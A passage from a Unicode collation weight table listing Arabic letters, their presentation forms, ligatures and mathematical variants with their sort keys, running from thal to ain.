MATHEMATICAL LOOPED THAL +1EEB8 ; [.22B0.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK THAL +FEAC ; [.22B0.0020.0019] # ARABIC LETTER THAL FINAL FORM +FEAB ; [.22B0.0020.001A] # ARABIC LETTER THAL ISOLATED FORM +FC5B ; [.22B0.0020.001A][.0000.0098.001A] # ARABIC LIGATURE THAL WITH SUPERSCRIPT ALEF ISOLATED FORM +0688 ; [.22B1.0020.0002] # ARABIC LETTER DDAL +FB89 ; [.22B1.0020.0019] # ARABIC LETTER DDAL FINAL FORM +FB88 ; [.22B1.0020.001A] # ARABIC LETTER DDAL ISOLATED FORM +0689 ; [.22B2.0020.0002] # ARABIC LETTER DAL WITH RING +068A ; [.22B3.0020.0002] # ARABIC LETTER DAL WITH DOT BELOW +068B ; [.22B4.0020.0002] # ARABIC LETTER DAL WITH DOT BELOW AND SMALL TAH +068C ; [.22B5.0020.0002] # ARABIC LETTER DAHAL +FB85 ; [.22B5.0020.0019] # ARABIC LETTER DAHAL FINAL FORM +FB84 ; [.22B5.0020.001A] # ARABIC LETTER DAHAL ISOLATED FORM +068D ; [.22B6.0020.0002] # ARABIC LETTER DDAHAL +FB83 ; [.22B6.0020.0019] # ARABIC LETTER DDAHAL FINAL FORM +FB82 ; [.22B6.0020.001A] # ARABIC LETTER DDAHAL ISOLATED FORM +08AE ; [.22B7.0020.0002] # ARABIC LETTER DAL WITH THREE DOTS BELOW +068E ; [.22B8.0020.0002] # ARABIC LETTER DUL +FB87 ; [.22B8.0020.0019] # ARABIC LETTER DUL FINAL FORM +FB86 ; [.22B8.0020.001A] # ARABIC LETTER DUL ISOLATED FORM +068F ; [.22B9.0020.0002] # ARABIC LETTER DAL WITH THREE DOTS ABOVE DOWNWARDS +0690 ; [.22BA.0020.0002] # ARABIC LETTER DAL WITH FOUR DOTS ABOVE +06EE ; [.22BB.0020.0002] # ARABIC LETTER DAL WITH INVERTED V +0759 ; [.22BC.0020.0002] # ARABIC LETTER DAL WITH TWO DOTS VERTICALLY BELOW AND SMALL TAH +075A ; [.22BD.0020.0002] # ARABIC LETTER DAL WITH INVERTED SMALL V BELOW +0631 ; [.22BE.0020.0002] # ARABIC LETTER REH +1EE13 ; [.22BE.0020.0005] # ARABIC MATHEMATICAL REH +1EE93 ; [.22BE.0020.0005] # ARABIC MATHEMATICAL LOOPED REH +1EEB3 ; [.22BE.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK REH +FEAE ; [.22BE.0020.0019] # ARABIC LETTER REH FINAL FORM +FEAD ; [.22BE.0020.001A] # ARABIC LETTER REH ISOLATED FORM +FC5C ; [.22BE.0020.001A][.0000.0098.001A] # ARABIC LIGATURE REH WITH SUPERSCRIPT ALEF ISOLATED FORM +FDF6 ; [.22BE.0020.001A][.22D0.0020.001A][.232B.0020.001A][.2311.0020.001A] # ARABIC LIGATURE RASOUL ISOLATED FORM +FDFC ; [.22BE.0020.001A][.233B.0020.001A][.2286.0020.001A][.2311.0020.001A] # RIAL SIGN +0632 ; [.22BF.0020.0002] # ARABIC LETTER ZAIN +1EE06 ; [.22BF.0020.0005] # ARABIC MATHEMATICAL ZAIN +1EE86 ; [.22BF.0020.0005] # ARABIC MATHEMATICAL LOOPED ZAIN +1EEA6 ; [.22BF.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK ZAIN +FEB0 ; [.22BF.0020.0019] # ARABIC LETTER ZAIN FINAL FORM +FEAF ; [.22BF.0020.001A] # ARABIC LETTER ZAIN ISOLATED FORM +0691 ; [.22C0.0020.0002] # ARABIC LETTER RREH +FB8D ; [.22C0.0020.0019] # ARABIC LETTER RREH FINAL FORM +FB8C ; [.22C0.0020.001A] # ARABIC LETTER RREH ISOLATED FORM +0692 ; [.22C1.0020.0002] # ARABIC LETTER REH WITH SMALL V +0693 ; [.22C2.0020.0002] # ARABIC LETTER REH WITH RING +0694 ; [.22C3.0020.0002] # ARABIC LETTER REH WITH DOT BELOW +0695 ; [.22C4.0020.0002] # ARABIC LETTER REH WITH SMALL V BELOW +0696 ; [.22C5.0020.0002] # ARABIC LETTER REH WITH DOT BELOW AND DOT ABOVE +0697 ; [.22C6.0020.0002] # ARABIC LETTER REH WITH TWO DOTS ABOVE +0698 ; [.22C7.0020.0002] # ARABIC LETTER JEH +FB8B ; [.22C7.0020.0019] # ARABIC LETTER JEH FINAL FORM +FB8A ; [.22C7.0020.001A] # ARABIC LETTER JEH ISOLATED FORM +0699 ; [.22C8.0020.0002] # ARABIC LETTER REH WITH FOUR DOTS ABOVE +06EF ; [.22C9.0020.0002] # ARABIC LETTER REH WITH INVERTED V +075B ; [.22CA.0020.0002] # ARABIC LETTER REH WITH STROKE +076B ; [.22CB.0020.0002] # ARABIC LETTER REH WITH TWO DOTS VERTICALLY ABOVE +076C ; [.22CC.0020.0002] # ARABIC LETTER REH WITH HAMZA ABOVE +0771 ; [.22CD.0020.0002] # ARABIC LETTER REH WITH SMALL ARABIC LETTER TAH AND TWO DOTS +08AA ; [.22CE.0020.0002] # ARABIC LETTER REH WITH LOOP +08B2 ; [.22CF.0020.0002] # ARABIC LETTER ZAIN WITH INVERTED V ABOVE +0633 ; [.22D0.0020.0002] # ARABIC LETTER SEEN +1EE0E ; [.22D0.0020.0005] # ARABIC MATHEMATICAL SEEN +1EE2E ; [.22D0.0020.0005] # ARABIC MATHEMATICAL INITIAL SEEN +1EE4E ; [.22D0.0020.0005] # ARABIC MATHEMATICAL TAILED SEEN +1EE6E ; [.22D0.0020.0005] # ARABIC MATHEMATICAL STRETCHED SEEN +1EE8E ; [.22D0.0020.0005] # ARABIC MATHEMATICAL LOOPED SEEN +1EEAE ; [.22D0.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK SEEN +FEB3 ; [.22D0.0020.0017] # ARABIC LETTER SEEN INITIAL FORM +FEB4 ; [.22D0.0020.0018] # ARABIC LETTER SEEN MEDIAL FORM +FEB2 ; [.22D0.0020.0019] # ARABIC LETTER SEEN FINAL FORM +FEB1 ; [.22D0.0020.001A] # ARABIC LETTER SEEN ISOLATED FORM +FCAD ; [.22D0.0020.0017][.229D.0020.0017] # ARABIC LIGATURE SEEN WITH JEEM INITIAL FORM +FD34 ; [.22D0.0020.0018][.229D.0020.0018] # ARABIC LIGATURE SEEN WITH JEEM MEDIAL FORM +FC1C ; [.22D0.0020.001A][.229D.0020.001A] # ARABIC LIGATURE SEEN WITH JEEM ISOLATED FORM +FD5D ; [.22D0.0020.0017][.229D.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE SEEN WITH JEEM WITH HAH INITIAL FORM +FD5E ; [.22D0.0020.0019][.229D.0020.0019][.2339.0020.0019] # ARABIC LIGATURE SEEN WITH JEEM WITH ALEF MAKSURA FINAL FORM +FCAE ; [.22D0.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE SEEN WITH HAH INITIAL FORM +FD35 ; [.22D0.0020.0018][.22A4.0020.0018] # ARABIC LIGATURE SEEN WITH HAH MEDIAL FORM +FC1D ; [.22D0.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE SEEN WITH HAH ISOLATED FORM +FD5C ; [.22D0.0020.0017][.22A4.0020.0017][.229D.0020.0017] # ARABIC LIGATURE SEEN WITH HAH WITH JEEM INITIAL FORM +FCAF ; [.22D0.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE SEEN WITH KHAH INITIAL FORM +FD36 ; [.22D0.0020.0018][.22A5.0020.0018] # ARABIC LIGATURE SEEN WITH KHAH MEDIAL FORM +FC1E ; [.22D0.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE SEEN WITH KHAH ISOLATED FORM +FDA8 ; [.22D0.0020.0019][.22A5.0020.0019][.2339.0020.0019] # ARABIC LIGATURE SEEN WITH KHAH WITH ALEF MAKSURA FINAL FORM +FDC6 ; [.22D0.0020.0019][.22A5.0020.0019][.233A.0020.0019] # ARABIC LIGATURE SEEN WITH KHAH WITH YEH FINAL FORM +FD2A ; [.22D0.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE SEEN WITH REH FINAL FORM +FD0E ; [.22D0.0020.001A][.22BE.0020.001A] # ARABIC LIGATURE SEEN WITH REH ISOLATED FORM +FCB0 ; [.22D0.0020.0017][.2318.0020.0017] # ARABIC LIGATURE SEEN WITH MEEM INITIAL FORM +FCE7 ; [.22D0.0020.0018][.2318.0020.0018] # ARABIC LIGATURE SEEN WITH MEEM MEDIAL FORM +FC1F ; [.22D0.0020.001A][.2318.0020.001A] # ARABIC LIGATURE SEEN WITH MEEM ISOLATED FORM +FD61 ; [.22D0.0020.0017][.2318.0020.0017][.229D.0020.0017] # ARABIC LIGATURE SEEN WITH MEEM WITH JEEM INITIAL FORM +FD60 ; [.22D0.0020.0017][.2318.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE SEEN WITH MEEM WITH HAH INITIAL FORM +FD5F ; [.22D0.0020.0019][.2318.0020.0019][.22A4.0020.0019] # ARABIC LIGATURE SEEN WITH MEEM WITH HAH FINAL FORM +FD63 ; [.22D0.0020.0017][.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE SEEN WITH MEEM WITH MEEM INITIAL FORM +FD62 ; [.22D0.0020.0019][.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE SEEN WITH MEEM WITH MEEM FINAL FORM +FD31 ; [.22D0.0020.0017][.2325.0020.0017] # ARABIC LIGATURE SEEN WITH HEH INITIAL FORM +FCE8 ; [.22D0.0020.0018][.2325.0020.0018] # ARABIC LIGATURE SEEN WITH HEH MEDIAL FORM +FD17 ; [.22D0.0020.0019][.2339.0020.0019] # ARABIC LIGATURE SEEN WITH ALEF MAKSURA FINAL FORM +FCFB ; [.22D0.0020.001A][.2339.0020.001A] # ARABIC LIGATURE SEEN WITH ALEF MAKSURA ISOLATED FORM +FD18 ; [.22D0.0020.0019][.233A.0020.0019] # ARABIC LIGATURE SEEN WITH YEH FINAL FORM +FCFC ; [.22D0.0020.001A][.233A.0020.001A] # ARABIC LIGATURE SEEN WITH YEH ISOLATED FORM +0634 ; [.22D1.0020.0002] # ARABIC LETTER SHEEN +1EE14 ; [.22D1.0020.0005] # ARABIC MATHEMATICAL SHEEN +1EE34 ; [.22D1.0020.0005] # ARABIC MATHEMATICAL INITIAL SHEEN +1EE54 ; [.22D1.0020.0005] # ARABIC MATHEMATICAL TAILED SHEEN +1EE74 ; [.22D1.0020.0005] # ARABIC MATHEMATICAL STRETCHED SHEEN +1EE94 ; [.22D1.0020.0005] # ARABIC MATHEMATICAL LOOPED SHEEN +1EEB4 ; [.22D1.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK SHEEN +FEB7 ; [.22D1.0020.0017] # ARABIC LETTER SHEEN INITIAL FORM +FEB8 ; [.22D1.0020.0018] # ARABIC LETTER SHEEN MEDIAL FORM +FEB6 ; [.22D1.0020.0019] # ARABIC LETTER SHEEN FINAL FORM +FEB5 ; [.22D1.0020.001A] # ARABIC LETTER SHEEN ISOLATED FORM +FD2D ; [.22D1.0020.0017][.229D.0020.0017] # ARABIC LIGATURE SHEEN WITH JEEM INITIAL FORM +FD37 ; [.22D1.0020.0018][.229D.0020.0018] # ARABIC LIGATURE SHEEN WITH JEEM MEDIAL FORM +FD25 ; [.22D1.0020.0019][.229D.0020.0019] # ARABIC LIGATURE SHEEN WITH JEEM FINAL FORM +FD09 ; [.22D1.0020.001A][.229D.0020.001A] # ARABIC LIGATURE SHEEN WITH JEEM ISOLATED FORM +FD69 ; [.22D1.0020.0019][.229D.0020.0019][.233A.0020.0019] # ARABIC LIGATURE SHEEN WITH JEEM WITH YEH FINAL FORM +FD2E ; [.22D1.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE SHEEN WITH HAH INITIAL FORM +FD38 ; [.22D1.0020.0018][.22A4.0020.0018] # ARABIC LIGATURE SHEEN WITH HAH MEDIAL FORM +FD26 ; [.22D1.0020.0019][.22A4.0020.0019] # ARABIC LIGATURE SHEEN WITH HAH FINAL FORM +FD0A ; [.22D1.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE SHEEN WITH HAH ISOLATED FORM +FD68 ; [.22D1.0020.0017][.22A4.0020.0017][.2318.0020.0017] # ARABIC LIGATURE SHEEN WITH HAH WITH MEEM INITIAL FORM +FD67 ; [.22D1.0020.0019][.22A4.0020.0019][.2318.0020.0019] # ARABIC LIGATURE SHEEN WITH HAH WITH MEEM FINAL FORM +FDAA ; [.22D1.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE SHEEN WITH HAH WITH YEH FINAL FORM +FD2F ; [.22D1.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE SHEEN WITH KHAH INITIAL FORM +FD39 ; [.22D1.0020.0018][.22A5.0020.0018] # ARABIC LIGATURE SHEEN WITH KHAH MEDIAL FORM +FD27 ; [.22D1.0020.0019][.22A5.0020.0019] # ARABIC LIGATURE SHEEN WITH KHAH FINAL FORM +FD0B ; [.22D1.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE SHEEN WITH KHAH ISOLATED FORM +FD29 ; [.22D1.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE SHEEN WITH REH FINAL FORM +FD0D ; [.22D1.0020.001A][.22BE.0020.001A] # ARABIC LIGATURE SHEEN WITH REH ISOLATED FORM +FD30 ; [.22D1.0020.0017][.2318.0020.0017] # ARABIC LIGATURE SHEEN WITH MEEM INITIAL FORM +FCE9 ; [.22D1.0020.0018][.2318.0020.0018] # ARABIC LIGATURE SHEEN WITH MEEM MEDIAL FORM +FD28 ; [.22D1.0020.0019][.2318.0020.0019] # ARABIC LIGATURE SHEEN WITH MEEM FINAL FORM +FD0C ; [.22D1.0020.001A][.2318.0020.001A] # ARABIC LIGATURE SHEEN WITH MEEM ISOLATED FORM +FD6B ; [.22D1.0020.0017][.2318.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE SHEEN WITH MEEM WITH KHAH INITIAL FORM +FD6A ; [.22D1.0020.0019][.2318.0020.0019][.22A5.0020.0019] # ARABIC LIGATURE SHEEN WITH MEEM WITH KHAH FINAL FORM +FD6D ; [.22D1.0020.0017][.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE SHEEN WITH MEEM WITH MEEM INITIAL FORM +FD6C ; [.22D1.0020.0019][.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE SHEEN WITH MEEM WITH MEEM FINAL FORM +FD32 ; [.22D1.0020.0017][.2325.0020.0017] # ARABIC LIGATURE SHEEN WITH HEH INITIAL FORM +FCEA ; [.22D1.0020.0018][.2325.0020.0018] # ARABIC LIGATURE SHEEN WITH HEH MEDIAL FORM +FD19 ; [.22D1.0020.0019][.2339.0020.0019] # ARABIC LIGATURE SHEEN WITH ALEF MAKSURA FINAL FORM +FCFD ; [.22D1.0020.001A][.2339.0020.001A] # ARABIC LIGATURE SHEEN WITH ALEF MAKSURA ISOLATED FORM +FD1A ; [.22D1.0020.0019][.233A.0020.0019] # ARABIC LIGATURE SHEEN WITH YEH FINAL FORM +FCFE ; [.22D1.0020.001A][.233A.0020.001A] # ARABIC LIGATURE SHEEN WITH YEH ISOLATED FORM +069A ; [.22D2.0020.0002] # ARABIC LETTER SEEN WITH DOT BELOW AND DOT ABOVE +069B ; [.22D3.0020.0002] # ARABIC LETTER SEEN WITH THREE DOTS BELOW +069C ; [.22D4.0020.0002] # ARABIC LETTER SEEN WITH THREE DOTS BELOW AND THREE DOTS ABOVE +06FA ; [.22D5.0020.0002] # ARABIC LETTER SHEEN WITH DOT BELOW +075C ; [.22D6.0020.0002] # ARABIC LETTER SEEN WITH FOUR DOTS ABOVE +076D ; [.22D7.0020.0002] # ARABIC LETTER SEEN WITH TWO DOTS VERTICALLY ABOVE +0770 ; [.22D8.0020.0002] # ARABIC LETTER SEEN WITH SMALL ARABIC LETTER TAH AND TWO DOTS +077D ; [.22D9.0020.0002] # ARABIC LETTER SEEN WITH EXTENDED ARABIC-INDIC DIGIT FOUR ABOVE +077E ; [.22DA.0020.0002] # ARABIC LETTER SEEN WITH INVERTED V +0635 ; [.22DB.0020.0002] # ARABIC LETTER SAD +1EE11 ; [.22DB.0020.0005] # ARABIC MATHEMATICAL SAD +1EE31 ; [.22DB.0020.0005] # ARABIC MATHEMATICAL INITIAL SAD +1EE51 ; [.22DB.0020.0005] # ARABIC MATHEMATICAL TAILED SAD +1EE71 ; [.22DB.0020.0005] # ARABIC MATHEMATICAL STRETCHED SAD +1EE91 ; [.22DB.0020.0005] # ARABIC MATHEMATICAL LOOPED SAD +1EEB1 ; [.22DB.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK SAD +FEBB ; [.22DB.0020.0017] # ARABIC LETTER SAD INITIAL FORM +FEBC ; [.22DB.0020.0018] # ARABIC LETTER SAD MEDIAL FORM +FEBA ; [.22DB.0020.0019] # ARABIC LETTER SAD FINAL FORM +FEB9 ; [.22DB.0020.001A] # ARABIC LETTER SAD ISOLATED FORM +FCB1 ; [.22DB.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE SAD WITH HAH INITIAL FORM +FC20 ; [.22DB.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE SAD WITH HAH ISOLATED FORM +FD65 ; [.22DB.0020.0017][.22A4.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE SAD WITH HAH WITH HAH INITIAL FORM +FD64 ; [.22DB.0020.0019][.22A4.0020.0019][.22A4.0020.0019] # ARABIC LIGATURE SAD WITH HAH WITH HAH FINAL FORM +FDA9 ; [.22DB.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE SAD WITH HAH WITH YEH FINAL FORM +FCB2 ; [.22DB.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE SAD WITH KHAH INITIAL FORM +FD2B ; [.22DB.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE SAD WITH REH FINAL FORM +FD0F ; [.22DB.0020.001A][.22BE.0020.001A] # ARABIC LIGATURE SAD WITH REH ISOLATED FORM +FDF5 ; [.22DB.0020.001A][.2311.0020.001A][.22E5.0020.001A][.2318.0020.001A] # ARABIC LIGATURE SALAM ISOLATED FORM +FDF9 ; [.22DB.0020.001A][.2311.0020.001A][.2339.0020.001A] # ARABIC LIGATURE SALLA ISOLATED FORM +FDFA ; [.22DB.0020.001A][.2311.0020.001A][.2339.0020.001A][*0209.0020.001A][.2286.0020.001A][.2311.0020.001A][.2311.0020.001A][.2325.0020.001A][*0209.0020.001A][.22E5.0020.001A][.2311.0020.001A][.233A.0020.001A][.2325.0020.001A][*0209.0020.001A][.232B.0020.001A][.22D0.0020.001A][.2311.0020.001A][.2318.0020.001A] # ARABIC LIGATURE SALLALLAHOU ALAYHE WASALLAM +FDF0 ; [.22DB.0020.001A][.2311.0020.001A][.2347.0020.001A] # ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM +FCB3 ; [.22DB.0020.0017][.2318.0020.0017] # ARABIC LIGATURE SAD WITH MEEM INITIAL FORM +FC21 ; [.22DB.0020.001A][.2318.0020.001A] # ARABIC LIGATURE SAD WITH MEEM ISOLATED FORM +FDC5 ; [.22DB.0020.0017][.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE SAD WITH MEEM WITH MEEM INITIAL FORM +FD66 ; [.22DB.0020.0019][.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE SAD WITH MEEM WITH MEEM FINAL FORM +FD21 ; [.22DB.0020.0019][.2339.0020.0019] # ARABIC LIGATURE SAD WITH ALEF MAKSURA FINAL FORM +FD05 ; [.22DB.0020.001A][.2339.0020.001A] # ARABIC LIGATURE SAD WITH ALEF MAKSURA ISOLATED FORM +FD22 ; [.22DB.0020.0019][.233A.0020.0019] # ARABIC LIGATURE SAD WITH YEH FINAL FORM +FD06 ; [.22DB.0020.001A][.233A.0020.001A] # ARABIC LIGATURE SAD WITH YEH ISOLATED FORM +0636 ; [.22DC.0020.0002] # ARABIC LETTER DAD +1EE19 ; [.22DC.0020.0005] # ARABIC MATHEMATICAL DAD +1EE39 ; [.22DC.0020.0005] # ARABIC MATHEMATICAL INITIAL DAD +1EE59 ; [.22DC.0020.0005] # ARABIC MATHEMATICAL TAILED DAD +1EE79 ; [.22DC.0020.0005] # ARABIC MATHEMATICAL STRETCHED DAD +1EE99 ; [.22DC.0020.0005] # ARABIC MATHEMATICAL LOOPED DAD +1EEB9 ; [.22DC.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK DAD +FEBF ; [.22DC.0020.0017] # ARABIC LETTER DAD INITIAL FORM +FEC0 ; [.22DC.0020.0018] # ARABIC LETTER DAD MEDIAL FORM +FEBE ; [.22DC.0020.0019] # ARABIC LETTER DAD FINAL FORM +FEBD ; [.22DC.0020.001A] # ARABIC LETTER DAD ISOLATED FORM +FCB4 ; [.22DC.0020.0017][.229D.0020.0017] # ARABIC LIGATURE DAD WITH JEEM INITIAL FORM +FC22 ; [.22DC.0020.001A][.229D.0020.001A] # ARABIC LIGATURE DAD WITH JEEM ISOLATED FORM +FCB5 ; [.22DC.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE DAD WITH HAH INITIAL FORM +FC23 ; [.22DC.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE DAD WITH HAH ISOLATED FORM +FD6E ; [.22DC.0020.0019][.22A4.0020.0019][.2339.0020.0019] # ARABIC LIGATURE DAD WITH HAH WITH ALEF MAKSURA FINAL FORM +FDAB ; [.22DC.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE DAD WITH HAH WITH YEH FINAL FORM +FCB6 ; [.22DC.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE DAD WITH KHAH INITIAL FORM +FC24 ; [.22DC.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE DAD WITH KHAH ISOLATED FORM +FD70 ; [.22DC.0020.0017][.22A5.0020.0017][.2318.0020.0017] # ARABIC LIGATURE DAD WITH KHAH WITH MEEM INITIAL FORM +FD6F ; [.22DC.0020.0019][.22A5.0020.0019][.2318.0020.0019] # ARABIC LIGATURE DAD WITH KHAH WITH MEEM FINAL FORM +FD2C ; [.22DC.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE DAD WITH REH FINAL FORM +FD10 ; [.22DC.0020.001A][.22BE.0020.001A] # ARABIC LIGATURE DAD WITH REH ISOLATED FORM +FCB7 ; [.22DC.0020.0017][.2318.0020.0017] # ARABIC LIGATURE DAD WITH MEEM INITIAL FORM +FC25 ; [.22DC.0020.001A][.2318.0020.001A] # ARABIC LIGATURE DAD WITH MEEM ISOLATED FORM +FD23 ; [.22DC.0020.0019][.2339.0020.0019] # ARABIC LIGATURE DAD WITH ALEF MAKSURA FINAL FORM +FD07 ; [.22DC.0020.001A][.2339.0020.001A] # ARABIC LIGATURE DAD WITH ALEF MAKSURA ISOLATED FORM +FD24 ; [.22DC.0020.0019][.233A.0020.0019] # ARABIC LIGATURE DAD WITH YEH FINAL FORM +FD08 ; [.22DC.0020.001A][.233A.0020.001A] # ARABIC LIGATURE DAD WITH YEH ISOLATED FORM +069D ; [.22DD.0020.0002] # ARABIC LETTER SAD WITH TWO DOTS BELOW +08AF ; [.22DE.0020.0002] # ARABIC LETTER SAD WITH THREE DOTS BELOW +069E ; [.22DF.0020.0002] # ARABIC LETTER SAD WITH THREE DOTS ABOVE +06FB ; [.22E0.0020.0002] # ARABIC LETTER DAD WITH DOT BELOW +0637 ; [.22E1.0020.0002] # ARABIC LETTER TAH +1EE08 ; [.22E1.0020.0005] # ARABIC MATHEMATICAL TAH +1EE68 ; [.22E1.0020.0005] # ARABIC MATHEMATICAL STRETCHED TAH +1EE88 ; [.22E1.0020.0005] # ARABIC MATHEMATICAL LOOPED TAH +1EEA8 ; [.22E1.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK TAH +FEC3 ; [.22E1.0020.0017] # ARABIC LETTER TAH INITIAL FORM +FEC4 ; [.22E1.0020.0018] # ARABIC LETTER TAH MEDIAL FORM +FEC2 ; [.22E1.0020.0019] # ARABIC LETTER TAH FINAL FORM +FEC1 ; [.22E1.0020.001A] # ARABIC LETTER TAH ISOLATED FORM +FCB8 ; [.22E1.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE TAH WITH HAH INITIAL FORM +FC26 ; [.22E1.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE TAH WITH HAH ISOLATED FORM +FD33 ; [.22E1.0020.0017][.2318.0020.0017] # ARABIC LIGATURE TAH WITH MEEM INITIAL FORM +FD3A ; [.22E1.0020.0018][.2318.0020.0018] # ARABIC LIGATURE TAH WITH MEEM MEDIAL FORM +FC27 ; [.22E1.0020.001A][.2318.0020.001A] # ARABIC LIGATURE TAH WITH MEEM ISOLATED FORM +FD72 ; [.22E1.0020.0017][.2318.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE TAH WITH MEEM WITH HAH INITIAL FORM +FD71 ; [.22E1.0020.0019][.2318.0020.0019][.22A4.0020.0019] # ARABIC LIGATURE TAH WITH MEEM WITH HAH FINAL FORM +FD73 ; [.22E1.0020.0017][.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE TAH WITH MEEM WITH MEEM INITIAL FORM +FD74 ; [.22E1.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE TAH WITH MEEM WITH YEH FINAL FORM +FD11 ; [.22E1.0020.0019][.2339.0020.0019] # ARABIC LIGATURE TAH WITH ALEF MAKSURA FINAL FORM +FCF5 ; [.22E1.0020.001A][.2339.0020.001A] # ARABIC LIGATURE TAH WITH ALEF MAKSURA ISOLATED FORM +FD12 ; [.22E1.0020.0019][.233A.0020.0019] # ARABIC LIGATURE TAH WITH YEH FINAL FORM +FCF6 ; [.22E1.0020.001A][.233A.0020.001A] # ARABIC LIGATURE TAH WITH YEH ISOLATED FORM +0638 ; [.22E2.0020.0002] # ARABIC LETTER ZAH +1EE1A ; [.22E2.0020.0005] # ARABIC MATHEMATICAL ZAH +1EE7A ; [.22E2.0020.0005] # ARABIC MATHEMATICAL STRETCHED ZAH +1EE9A ; [.22E2.0020.0005] # ARABIC MATHEMATICAL LOOPED ZAH +1EEBA ; [.22E2.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK ZAH +FEC7 ; [.22E2.0020.0017] # ARABIC LETTER ZAH INITIAL FORM +FEC8 ; [.22E2.0020.0018] # ARABIC LETTER ZAH MEDIAL FORM +FEC6 ; [.22E2.0020.0019] # ARABIC LETTER ZAH FINAL FORM +FEC5 ; [.22E2.0020.001A] # ARABIC LETTER ZAH ISOLATED FORM +FCB9 ; [.22E2.0020.0017][.2318.0020.0017] # ARABIC LIGATURE ZAH WITH MEEM INITIAL FORM +FD3B ; [.22E2.0020.0018][.2318.0020.0018] # ARABIC LIGATURE ZAH WITH MEEM MEDIAL FORM +FC28 ; [.22E2.0020.001A][.2318.0020.001A] # ARABIC LIGATURE ZAH WITH MEEM ISOLATED FORM +069F ; [.22E3.0020.0002] # ARABIC LETTER TAH WITH THREE DOTS ABOVE +08A3 ; [.22E4.0020.0002] # ARABIC LETTER TAH WITH TWO DOTS ABOVE +0639 ; [.22E5.0020.0002] # ARABIC LETTER AIN +1EE0F ; [.22E5.0020.0005] # ARABIC MATHEMATICAL AIN +1EE2F ; [.22E5.0020.0005] # ARABIC MATHEMATICAL INITIAL AIN +1EE4F ; [.22E5.0020.0005] # ARABIC MATHEMATICAL TAILED AIN +1EE6F ; [.22E5.0020.0005] # ARABIC MATHEMATICAL STRETCHED AIN +1EE8F ; [.22E5.0020.0005] # ARABIC MATHEMATICAL LOOPED AIN +1EEAF ; [.22E5.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK AIN +FECB ; [.22E5.0020.0017] # ARABIC LETTER AIN INITIAL FORM +FECC ; [.22E5.0020.0018] # ARABIC LETTER AIN MEDIAL FORM +FECA ; [.22E5.0020.0019] # ARABIC LETTER AIN FINAL FORM +FEC9 ; [.22E5.0020.001A] # ARABIC LETTER AIN ISOLATED FORM +FCBA ; [.22E5.0020.0017][.229D.0020.0017] # ARABIC LIGATURE AIN WITH JEEM INITIAL FORM +FC29 ; [.22E5.0020.001A][.229D.0020.001A] # ARABIC LIGATURE AIN WITH JEEM ISOLATED FORM +FDC4 ; [.22E5.0020.0017][.229D.0020.0017][.2318.0020.0017] # ARABIC LIGATURE AIN WITH JEEM WITH MEEM INITIAL FORM +FD75 ; [.22E5.0020.0019][.229D.0020.0019][.2318.0020.0019] # ARABIC LIGATURE AIN WITH JEEM WITH MEEM FINAL FORM +FDF7 ; [.22E5.0020.001A][.2311.0020.001A][.233A.0020.001A][.2325.0020.001A] # ARABIC LIGATURE ALAYHE ISOLATED FORM +FCBB ; [.22E5.0020.0017][.2318.0020.0017] # ARABIC LIGATURE AIN WITH MEEM INITIAL FORM +FC2A ; [.22E5.0020.001A][.2318.0020.001A] # ARABIC LIGATURE AIN WITH MEEM ISOLATED FORM +FD77 ; [.22E5.0020.0017][.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE AIN WITH MEEM WITH MEEM INITIAL FORM +FD76 ; [.22E5.0020.0019][.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE AIN WITH MEEM WITH MEEM FINAL FORM +FD78 ; [.22E5.0020.0019][.2318.0020.0019][.2339.0020.0019] # ARABIC LIGATURE AIN WITH MEEM WITH ALEF MAKSURA FINAL FORM +FDB6 ; [.22E5.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE AIN WITH MEEM WITH YEH FINAL FORM +FD13 ; [.22E5.0020.0019][.2339.0020.0019] # ARABIC LIGATURE AIN WITH 